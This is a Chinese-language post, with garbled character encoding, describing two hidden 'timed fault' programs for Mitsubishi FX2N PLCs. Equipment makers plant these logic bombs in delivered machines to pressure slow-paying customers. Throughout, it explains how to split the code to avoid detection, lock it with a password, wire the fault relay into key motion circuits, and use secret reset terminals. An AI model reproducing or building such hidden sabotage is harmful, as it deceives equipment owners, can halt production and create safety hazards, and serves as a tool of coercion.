圖片:
圖片:
圖片:
一、定時(shí)觸發(fā)故障PLC程序(PLC為實(shí)時(shí)時(shí)鐘)
該程序是用三菱PLC編程軟件GX Developer V7.08J(SW7D5C-GPPW)簡(jiǎn)體中文版所編的程序,僅適用于三菱FX2N系列PLC。
該程序是為設備制造商收取剩余款項而設的籌碼,在設備制造商老板有要求時(shí)可以使用,僅適用于信譽(yù)度不好的客戶(hù)。該程序一旦觸發(fā),無(wú)論設備是否處于運行狀態(tài)、PLC是否處于運行狀態(tài)或通電狀態(tài),指定時(shí)間以后將會(huì )準時(shí)出現故障。請謹慎使用!
該程序應當嵌入應用程序之中,為避免他人識破,可以將程序分成多塊分別嵌入在應用程序的各個(gè)地方。
為避免他人修改你的程序,應當將整個(gè)程序進(jìn)行加密——設置口令,具體操作方法請參閱程序加密的相關(guān)說(shuō)明。
M490為故障觸點(diǎn),應當串聯(lián)或并聯(lián)在程序多個(gè)關(guān)鍵動(dòng)作回路中。
X20為定時(shí)觸發(fā)故障復位端子,要求該端子為沒(méi)有被使用的端子(否則請更換為另一個(gè)沒(méi)有被使用的端子)。需要解除還沒(méi)有被觸發(fā)的故障或已經(jīng)觸發(fā)的故障時(shí),將該觸點(diǎn)和PLC的輸入COM端短接即可。如果系統當前時(shí)間還沒(méi)到故障觸發(fā)時(shí)間,一旦該端子與COM端子斷開(kāi),故障將在預定時(shí)間觸發(fā)!如果系統當前時(shí)間已經(jīng)過(guò)了指定的故障觸發(fā)時(shí)間,一旦該端子與COM端子斷開(kāi),故障將立即觸發(fā)!如果需要重新指定故障觸發(fā)時(shí)間,就必須得更改指定的故障觸發(fā)時(shí)間——需要對PLC進(jìn)行編程!
該程序指定的故障觸發(fā)時(shí)間為2007年1月1日0時(shí)0分0秒,可以進(jìn)行更改。
該程序中所用到的通用繼電器M481-M499、定時(shí)器T198、存儲區D0-D5,請不要在程序的其它地方使用,否則該程序可能無(wú)法正常發(fā)揮作用。
對于三菱其它系列PLC或其它品牌PLC,請對程序作相應更改——各存儲器請按照相應存儲區域進(jìn)行更改。
該程序并沒(méi)有修改PLC的系統時(shí)鐘,因此程序中的其它地方或和PLC通信的其它設備所調用的PLC系統時(shí)鐘反映的是正確的當前日期和時(shí)間。
在程序動(dòng)作之前,應當檢查PLC的系統時(shí)鐘是否正確反映當前日期和時(shí)間(因為PLC的默認系統時(shí)鐘可能不正確,筆者就遇到過(guò)系統時(shí)鐘快一個(gè)小時(shí)多一點(diǎn)的情況)。檢查方法如下:
啟動(dòng)三菱PLC編程軟件GX Developer V7.08J(SW7D5C-GPPW)簡(jiǎn)體中文版到一個(gè)新的窗口,將電腦與PLC正確連接(具體連接方法請參閱相關(guān)說(shuō)明<比如采用SC09連接電纜或等同功能電纜,加接USB轉RS232電纜(需要加安裝驅動(dòng))等等>),然后點(diǎn)擊“在線(xiàn)”——“PLC讀取”——“確認”(對于部分筆記本電腦(比如頂星品牌龍尊系列某型號的筆記本電腦),默認串口為COM2,這種情況下需要將COM口選為COM2,具體操作方法不再贅述),然后選中“軟元件內存”再點(diǎn)擊“確定”......待軟元件內存傳送到電腦以后,馬上檢查M8018(年)、M8017(月)、M8016(日)、M8015(時(shí))、M8014(分)、M8013(秒)是否大概是當前正確時(shí)間(請注意,軟元件內存只是下載時(shí)的PLC內存,并不能實(shí)時(shí)反映PLC的當前軟元件內存數據。所以,軟元件內存數據中反映的系統時(shí)鐘比PLC當前系統時(shí)鐘要慢);蛘,采用另外一種更簡(jiǎn)單的方法:直接PLC在線(xiàn)連接的下拉菜單中選擇PLC時(shí)間設置選項,然后就可以看見(jiàn)非實(shí)時(shí)顯示的時(shí)鐘了——這個(gè)時(shí)間是讀取瞬間的時(shí)鐘,不實(shí)時(shí)跟隨。
如果PLC的系統時(shí)鐘不能正確反映當前日期和時(shí)間,那就需要對軟元件內存進(jìn)行修改。修改方法為:1、直接PLC在線(xiàn)連接的下拉菜單中選擇PLC時(shí)間設置選項,然后更改時(shí)間就可以了。但該方法一次性只能更改一回時(shí)間,一旦更改后時(shí)間就實(shí)時(shí)跟隨了,無(wú)法再進(jìn)行更改。如果需要再次更改,需要將該窗口關(guān)閉后重新打開(kāi),然后再進(jìn)行時(shí)間的更改。 2、通過(guò)程序的相關(guān)指令(例如MOV指令寫(xiě)時(shí)間對應的特殊存儲區D8013~D8018或通過(guò)TWR指令來(lái)寫(xiě)時(shí)間,具體指令此處就不再贅述了)。
通過(guò)讀出軟元件內存后修改軟元件內存再寫(xiě)回去的方法是行不通的——經(jīng)過(guò)多次試驗,證明了PLC在寫(xiě)入軟元件內存時(shí)根本不會(huì )重寫(xiě)特殊存儲區的內容,也就是說(shuō)特殊存儲區沒(méi)被列入“軟元件內存”的范圍之內
二、定時(shí)觸發(fā)故障PLC程序(PLC非實(shí)時(shí)時(shí)鐘)
該程序是用三菱PLC編程軟件GX Developer V7.08J(SW7D5C-GPPW)簡(jiǎn)體中文版所編的程序,僅適用于三菱FX2N系列PLC。
該程序是為設備制造商收取剩余款項而設的籌碼,在設備制造商老板有要求時(shí)可以使用,僅適用于信譽(yù)度不好的客戶(hù)。該程序一旦觸發(fā),無(wú)論設備是否處于運行狀態(tài)、PLC是否處于運行狀態(tài)或通電狀態(tài),一年以后(時(shí)間長(cháng)短可以修改)將會(huì )準時(shí)出現故障。請謹慎使用!
該程序應當嵌入應用程序之中,為避免他人識破,可以將程序分成多塊分別嵌入在應用程序的各個(gè)地方。
為避免他人修改你的程序,應當將整個(gè)程序進(jìn)行加密——設置口令,具體操作方法請參閱程序加密的相關(guān)說(shuō)明。
X0是定時(shí)觸發(fā)故障觸發(fā)端子,X0只要在PLC處于運行狀態(tài)下至少動(dòng)作過(guò)一次就可以了。
M490為故障觸點(diǎn),應當串聯(lián)或并聯(lián)在程序多個(gè)關(guān)鍵動(dòng)作回路中。
X1為定時(shí)觸發(fā)故障復位端子,要求在通常情況下,連續動(dòng)作時(shí)間不能超過(guò)30秒(時(shí)間可以修改),否則請改為另外一個(gè)輸入觸點(diǎn)。需要解除故障觸發(fā)功能時(shí),讓X1保持通電30秒(時(shí)間可以修改)即可。也可以將X1改為最后一個(gè)未用的輸入觸點(diǎn),需要永遠解除故障觸發(fā)功能時(shí),將該觸點(diǎn)和PLC的輸入COM端短接即可。如果只是讓定時(shí)觸發(fā)故障復位端子接通超過(guò)30秒(時(shí)間可以修改)然后斷開(kāi),那么一年以后(時(shí)間長(cháng)短可以修改)仍然會(huì )準時(shí)出現故障。如果希望永遠解除定時(shí)故障觸發(fā)功能,請將定時(shí)觸發(fā)故障復位端子和PLC的輸入COM端短接即可。
該程序中所用到的通用繼電器M480-M499、保持繼電器M1023、定時(shí)器T198、存儲區D0-D5,請不要在程序的其它地方使用,否則該程序可能無(wú)法正常發(fā)揮作用。
對于三菱其它系列PLC或其它品牌PLC,請對程序作相應更改——原保持繼電器M1023更換后仍然具有斷電保持功能,其它存儲器請按照相應存儲區域進(jìn)行更改。
該程序動(dòng)作后,PLC的系統時(shí)鐘并非是實(shí)時(shí)時(shí)鐘,因此程序中的其它地方或和PLC通信的其它設備所調用的PLC系統時(shí)鐘并不能正確反映當前日期和時(shí)間。